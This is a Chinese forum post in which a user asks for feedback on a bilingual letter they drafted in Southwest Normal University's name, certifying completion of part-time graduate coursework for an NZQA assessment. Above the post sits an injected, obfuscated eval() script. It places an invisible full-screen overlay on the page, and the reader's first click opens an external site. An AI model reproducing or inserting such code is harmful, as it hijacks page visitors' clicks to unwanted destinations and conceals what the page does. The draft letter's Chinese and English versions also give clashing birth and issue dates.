<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>我收到了NZQA给我的信，关于评估在职研究生的问题，他们是这么说的：
As well as your transcript we will also require your certificate. If your certificate has not yet been awarded, we will require a letter from the university stating that you are going to be awarded the qualification at the next graduation ceremony.
我草拟了一份中英文的证明，请大家帮我看看这样可以吗？此证明是不是需要打印或者写在印有学校名称的信纸上，中文写在上面，英文写在下面。请大家指教。证明如下：
兹证明刘洋(1969年1月26日出生)，于1997年7月至1999年7月在西南师范大学外语学院在职研究生学位班学习英语语言文学专业研究生学位课程，全部课程结束，通过考试，成绩合格。结业证书将于下一个典礼上发放。
特此证明
西南师范大学研究生部
2001年7月5日
This is to certify that Yang Liu (born on Jan. 1, 1969) has studied part-time for 2 years (from July 1997 to July 1999) in the on-the-job training class for graduate degree of Foreign Language School, majoring in English Language and Literature. She has completed all the courses and passed all the exams necessary for applying for the graduate degree from Southwest Normal University. The Completing Course Certificate will be awarded in the next ceremony.
SOUTHWEST NORMAL UNIVERSITY
GRADUATE SCHOOL
July 4, 2001 |
|
收藏